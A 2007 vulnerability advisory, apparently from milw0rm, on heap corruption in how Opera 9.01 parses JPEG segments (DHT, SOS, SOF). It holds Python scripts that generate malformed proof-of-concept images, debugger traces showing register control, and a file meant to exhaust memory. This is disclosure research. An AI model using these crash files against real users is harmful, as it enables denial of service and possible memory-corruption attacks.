Opera JPEG processing - Heap corruption vulnerabilities ======================================================= Date..: 8th September 2006 31th October 2006 (update) 3rd November 2006 (update) 5th January 2007 (public release) http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=457 Author: posidron Application: Opera 9.01 Build 8552 Environment: Windows XP Professional, Service Pack 2 - DE Preamble ======== Opera is vulnerable in parsing the JPEG file format. Discovered were four vulnerabilities, each in different segments of the file format. I will describe in this advisory the two important ones. 1 - ntdll.RtlAllocateHeap() DHT vulnerability 2 - ntdll.RtlAllocateHeap() SOS vulnerability Opera Mini for mobile phones could be vulnerable also. The second bug looks very interesting to this topic. Details ======= The following code produces the sample image on which all further operations are made. It's a valid image which was generated with Adobe Photoshop. Properties ---------- Type : JPEG Size : 1px x 1px Compression: Low Colors: : None Filesize : 304 bytes # File: sample.py bytes = [ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75, 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12, 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26, 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C, 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B, 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00, 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ] f = open(__file__+".jpg", "wb") for byte in bytes: f.write("%c" % byte) f.close() print __file__+".jpg created! (%d bytes)" % len(bytes) # eof F:\vulndev\Opera> python sample.py sample.py.jpg created! (304 bytes) F:\vulndev\Opera> ************************************************** Details - ntdll.RtlAllocateHeap() DHT vulnerability --------------------------------------------------- Segment: Define Huffman Table (DHT) DHT..................: FF C4 Length...............: 00 4B Index................: 00 Number of codes......: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 Sum of previous bytes: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 We change the above to the below: Number of codes......: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Sum of previous bytes: 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # File: heap.py bytes = [ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75, 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12, 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26, 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C, 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B, 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00, 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ] f = open(__file__+".jpg", "wb") for byte in bytes: f.write("%c" % byte) f.close() print __file__+".jpg created! (%d bytes)" % len(bytes) # eof F:\vulndev\Opera> python heap.py heap.py.jpg created! (304 bytes) F:\vulndev\Opera> Analyse - ntdll.RtlAllocateHeap() DHT vulnerability --------------------------------------------------- The call stack is very large, I think here is a good place to start: 74E5D637 call dword ptr ds:[eax+4] ; set hardware bp on execution it's the 6th function from the top of the "crash" call stack. Restart Olly, press F9 until Opera shows up again. Hit F7 until: 74E610B6 mov bl, byte ptr ds:[eax+1] ; set hardware bp on execution Hit F9 until the following shows up in the panel, at this statement: ds:[543502E9]=C4 ('Ä') bl=00 That's the marker of the "Define Huffman Table" segment. Go on with F9, you will reach again: call dword ptr ds:[eax+4] Hit again F9, Opera shows up, drag the image into Opera. You will reach again: call dword ptr ds:[eax+4] Hit F9 until you reached: 74E610B6 mov bl, byte ptr ds:[eax+1] Hit F9 until the following shows up in the panel, at this statement: ds:[543502E9]=C4 ('Ä') bl=00 Hit F7 to continue. 74E5D735 push ebp 74E5D736 mov ebp, esp ... 74E5D750 mov dh, byte ptr ds:[eax+2] ; user input 74E5D753 mov dl, byte ptr ds:[eax+3] ; user input 74E5D756 lea edi, dword ptr ds:[edx+2] 74E5D759 cmp ecx, edi 74E5D75B jnb short Opera_1.74E5D765 First bytes of this marker are readed in there. Go on.. 74E5D7C2 mov dl, byte ptr ds:[eax+ecx] ; read eax + n 74E5D7C5 mov byte ptr ss:[ebp+ecx-40], dl ; new location 74E5D7C9 movzx edx, dl 74E5D7CC add ebx, edx 74E5D7CE inc ecx ; n+=1 74E5D7CF cmp ecx, 10 ; until n > 16 74E5D7D2 jb short Opera_1.74E5D7C2 74E5D7D4 lea eax, dword ptr ds:[ebx+1] 74E5D7D7 mov dword ptr ss:[ebp-18], ebx 74E5D7DA push eax 74E5D7DB call Opera_1.751E8B75 ; Opera allocation function Several operations are made here, single stepping might be interesting, to follow the read-in process. 74E5D7E0 mov edi, eax 74E5D7E2 lea eax, dword ptr ds:[ebx+ebx] 74E5D7E5 push eax 74E5D7E6 mov dword ptr ss:[ebp-1C], edi 74E5D7E0 mov edi, eax 74E5D7E2 lea eax, dword ptr ds:[ebx+ebx] 74E5D7E5 push eax 74E5D7E6 mov dword ptr ss:[ebp-1C], edi 74E5D7E9 call Opera_1.751E8B75 ; Opera allocation function If you return here, the last procedures are made. 74E5D8A7 mov eax, dword ptr ss:[ebp-18] 74E5D8AA add eax, 260 ; new allocation size 74E5D8AF push eax 74E5D8B0 call Opera_1.751E8B75 ; Opera allocation function 76709E57 push esi ; Size 76709E58 push 0 ; Flags 76709E5A push dword ptr ds:[768268C0] ; Handle 76709E60 call dword ptr ds:[7671C1C0] ; ntdll.RtlAllocateHeap 6BB01414 lea edx, dword ptr ds:[esi+8] ; our "string" 6BB01417 mov dword ptr ss:[ebp-10C], edx 6BB0141D mov eax, dword ptr ds:[edx] 6BB0141F mov dword ptr ss:[ebp-16C], eax 6BB01425 mov ecx, dword ptr ds:[edx+4] 6BB01428 mov dword ptr ss:[ebp-114], ecx 6BB0142E mov edi, dword ptr ds:[ecx] ; ds:[41414141]=??? Access violation when reading [41414141] EAX 41414141 ECX 41414141 EDX 5C9C9348 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EBX 59110000 ESP 578DEB6C EBP 578DED8C ESI 5C9C9340 EDI 0000004F EIP 3D3D142E ntdll.3D3D142E At this point we are able to control 4 bytes of EAX and ECX with two bytes, defined in the JPEG file. Somebody with a better understanding of the "Define Huffman Table" segment can probably do more. There are several other issues in parsing this segment. These routines are very nested and big, it would be a very time-consuming research. ************************************************** Details - ntdll.RtlAllocateHeap() SOS vulnerability --------------------------------------------------- The arrows mark the components whose datatypes are not properly validated by Opera. This can lead to unexpected vulnerabilities depending on the function flow. Segment: Start Of Scan (SOS) SOS: FF DA Length: 00 0C Components: 03 Data of component: - component number: 01 - 4Bit DC table, 4Bit AC table: 00 - component number: 02 - 4Bit DC table, 4Bit AC table: 11 - component number: 03 - 4Bit DC table, 4Bit AC table: 11 In the next example we set the value of "Components" to 01, we also overwrite the end of file with dump bytes. Note, that we also overwrite the JPEG end marker FF D9. After executing this JPEG file with Opera, Opera immediatly allocates memory until the max page size value is reached, but it doesn't stop. Note that some third party applications could also crash during this process, in my case Antivir crashed with a "read memory" error. # File: pavarotti.py # ATTENTION, THIS COULD DAMAGE YOUR RUNNING SYSTEM! bytes = [ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75, 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x41, 0x41, 0x41, 0x41, 0x03, 0x41, 0x41, 0x41, 0x41, 0x11, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDA, 0x00, 0x0C, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x11, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41] f = open(__file__+".jpg", "wb") for byte in bytes: f.write("%c" % byte) f.close() print __file__+".jpg created! (%d bytes)" % len(bytes) # eof F:\vulndev\Opera> python pavarotti.py pavarotti.py.jpg created! (637 bytes) F:\vulndev\Opera> opera pavarotti.py.jpg As said, this could be also interesting on mobile phones with Opera Mini. The user has no real control to kill the Opera process, which should result in a phone reboot. This was not tested. ************************************************** Further vulnerabilities ----------------------- The arrows mark the components whose datatypes are not properly validated by Opera. Segment: Start Of Frame (SOF) SOF: FF C0 Length: 00 11 Strictness: 08 Image Hori.: 00 01 Image Vert.: 00 01 Components: 03 Data of component: - component number: 01 - 4Bit hori., 4Bit vert., sample factor: 22 - Number of quantisation table: 00 <- - component number: 02 - 4Bit hori., 4Bit vert., sample factor: 11 - Number of quantisation table: 01 <- - component number: 03 - 4Bit hori., 4Bit vert., sample factor: 11 - Number of quantisation table: 01 <- The item "Number of quantisation table" of the first component is changed to FFh in the below file. # File: sof-quanttable.py bytes = [ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75, 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12, 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26, 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C, 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B, 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0xFF, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00, 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ] f = open(__file__+".jpg", "wb") for byte in bytes: f.write("%c" % byte) f.close() print __file__+".jpg created! (%d bytes)" % len(bytes) # eof F:\vulndev\Opera> python sof-quanttable.py sof-quanttable.py.jpg created! (304 bytes) F:\vulndev\Opera> (ntdll) 7C9211D5 mov eax, dword ptr ds:[esi+C] 7C9211D8 mov dword ptr ss:[ebp-98], eax 7C9211DE mov edx, dword ptr ds:[eax] ; <-- CRASH EAX 01010101 ECX 00EB2780 EDX 00930178 EBX 00930000 ESP 0012EC94 EBP 0012EEB4 ESI 00EB2778 EDI 01010101 EIP 7C9211DE ntdll.7C9211DE ---- Segment: Start Of Scan (SOS) SOS: FF DA Length: 00 0C Components: 03 Data of component: - component number: 01 - 4Bit DC table, 4Bit AC table: 00 <- - component number: 02 - 4Bit DC table, 4Bit AC table: 11 <- - component number: 03 - 4Bit DC table, 4Bit AC table: 11 <- The item "4Bit DC table, 4Bit AC table" of the first component is changed to FFh in the below file. # File: sos-dcactable.py bytes = [ 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02, 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75, 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12, 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26, 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C, 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B, 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xDA, 0x00, 0x0C, 0x03, 0x01, 0xFF, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00, 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ] f = open(__file__+".jpg", "wb") for byte in bytes: f.write("%c" % byte) f.close() print __file__+".jpg created! (%d bytes)" % len(bytes) # eof F:\vulndev\Opera> python sos-dcactable.py sos-dcactable.py.jpg created! (304 bytes) F:\vulndev\Opera> 67AEE715 push ebp 67AEE716 mov ebp, esp 67AEE718 push esi 67AEE719 mov esi, ecx 67AEE71B cmp dword ptr ds:[esi+48], 8 67AEE71F jge short Opera_12.67AEE733 67AEE721 push dword ptr ss:[ebp+8] 67AEE724 call Opera_12.67AEE7FE 67AEE729 cmp dword ptr ds:[esi+48], 8 67AEE72D jge short Opera_12.67AEE733 67AEE72F push 1 67AEE731 jmp short Opera_12.67AEE75E 67AEE733 mov eax, dword ptr ds:[esi+44] ; ds=B3001F00 (end part of jpeg file) 67AEE736 mov ecx, dword ptr ds:[esi+24] 67AEE739 shr eax, 18 67AEE73C add eax, ecx ; 67AEE73E movzx ecx, byte ptr ds:[eax+60] ; <-- CRASH EAX 000000B2 ECX FFFFFFFF EDX 00EE2534 EBX 00000005 ESP 0012ECB0 EBP 0012ECB4 ESI 00EE2534 EDI 00EE2534 EIP 67AEE73E Opera_12.67AEE73E ************************************************** # milw0rm.com [2007-01-08]